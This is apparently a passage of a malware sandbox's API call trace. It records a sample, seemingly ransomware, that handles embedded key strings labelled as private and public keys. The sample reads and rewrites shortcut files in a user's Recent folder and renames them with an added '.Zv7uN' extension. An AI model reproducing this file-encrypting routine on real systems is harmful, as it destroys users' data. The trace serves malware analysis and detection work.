lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.333] GetCurrentThreadId () returned 0xa30 [0080.333] GetCurrentThreadId () returned 0xa30 [0080.333] GetCurrentThreadId () returned 0xa30 [0080.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.334] GetCurrentThreadId () returned 0xa30 [0080.334] GetCurrentThreadId () returned 0xa30 [0080.334] GetCurrentThreadId () returned 0xa30 [0080.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cc7VJrUJ4rqn A41Oh O.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cc7vjruj4rqn a41oh o.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.335] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.335] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.335] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf4f [0080.335] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.335] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xf4f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xf4f, lpOverlapped=0x0) returned 1 [0080.336] CloseHandle (hObject=0x124) returned 1 [0080.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cc7VJrUJ4rqn A41Oh O.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cc7vjruj4rqn a41oh o.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.338] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xf4f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xf4f, lpOverlapped=0x0) returned 1 [0080.340] CloseHandle (hObject=0x124) returned 1 [0080.341] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cc7VJrUJ4rqn A41Oh O.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cc7vjruj4rqn a41oh o.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cc7VJrUJ4rqn A41Oh O.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cc7vjruj4rqn a41oh o.lnk.zv7un")) returned 1 [0080.342] GetCurrentThreadId () returned 0xa30 [0080.342] GetCurrentThreadId () returned 0xa30 [0080.342] GetCurrentThreadId () returned 0xa30 [0080.342] GetCurrentThreadId () returned 0xa30 [0080.342] GetCurrentThreadId () returned 0xa30 [0080.342] GetCurrentThreadId () returned 0xa30 [0080.342] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d81b960, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d81b960, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d81b960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="CdH12jxKESc8sWeA7C.lnk", cAlternateFileName="CDH12J~1.LNK")) returned 1 [0080.343] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.343] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CdH12jxKESc8sWeA7C.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cdh12jxkesc8swea7c.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d81b960, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d81b960, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d81b960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f)) returned 1 [0080.343] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CdH12jxKESc8sWeA7C.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cdh12jxkesc8swea7c.lnk")) returned 0x20 [0080.343] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CdH12jxKESc8sWeA7C.lnk", dwFileAttributes=0x80) returned 1 [0080.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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